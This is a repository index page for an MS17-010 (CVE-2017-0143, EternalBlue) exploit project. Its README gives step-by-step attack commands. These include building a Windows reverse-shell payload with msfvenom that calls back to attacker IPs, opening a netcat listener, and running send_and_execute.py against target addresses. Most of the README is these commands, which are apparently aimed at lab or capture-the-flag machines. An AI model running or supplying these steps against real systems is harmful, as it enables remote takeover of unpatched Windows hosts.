https://github.com/n3rdh4x0r/MS17-010_CVE-2017-0143
MS17-010_CVE-2017-0143
https://github.com/n3rdh4x0r/MS17-010_CVE-2017-0143
Last synced: 4 months ago
JSON representation
MS17-010_CVE-2017-0143
- Host: GitHub
- URL: https://github.com/n3rdh4x0r/MS17-010_CVE-2017-0143
- Owner: n3rdh4x0r
- Created: 2021-07-08T17:35:50.000Z (almost 4 years ago)
- Default Branch: main
- Last Pushed: 2024-11-18T19:03:19.000Z (6 months ago)
- Last Synced: 2024-11-18T20:18:57.842Z (6 months ago)
- Language: Python
- Homepage:
- Size: 1.48 MB
- Stars: 38
- Watchers: 1
- Forks: 14
- Open Issues: 5
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - n3rdh4x0r/MS17-010_CVE-2017-0143 - MS17-010_CVE-2017-0143 (Python)
README
# MS17-010
🖥️ -n3rdh4x0r-
#️⃣ CVE-2017-0143## Method 1
```
git clone https://github.com/n3rdh4x0r/MS17-010_CVE-2017-0143.git
cd MS17-010_CVE-2017-0143/
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=1337 -f exe -o ms17-010.exe
```create a `nc` listner
```
nc -nlvp 1337
```### exploit
```
python2.7 send_and_execute.py 10.129.163.162 ms17-010.exe
```
Incase if you get a error like this folow these steps:
```
cd MS17-010_CVE-2017-0143/
sudo python2.7 get-pip.py
pip2.7 install --upgrade setuptools
python2.7 -m pip install impacket
```Now we can run the exploit :

## Method 2
Now this exploit is created in python2 and it require some libraries like impacket , pycrypto . For that virtual environment has to setup and here virtualenv program help .Once you created the environment then you can activate that environment using source utility program . Here python2 is used as interpreter because in latest Kali python3 is set as global interpreter and our exploit is in python2 .
why we use virtual environment ? For that you can check out this .
https://www.dabapps.com/blog/introduction-to-pip-and-virtualenv-python/virtualenv -p python2 venv
source venv/bin/activate
pip install impacket
pip install pycrypto

python checker.py 10.10.10.4

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.12 LPORT=4445 -f exe > shell.exe
python send_and_execute.py 10.10.10.4 shell.exe 445 browser

nc -nlvp 4445
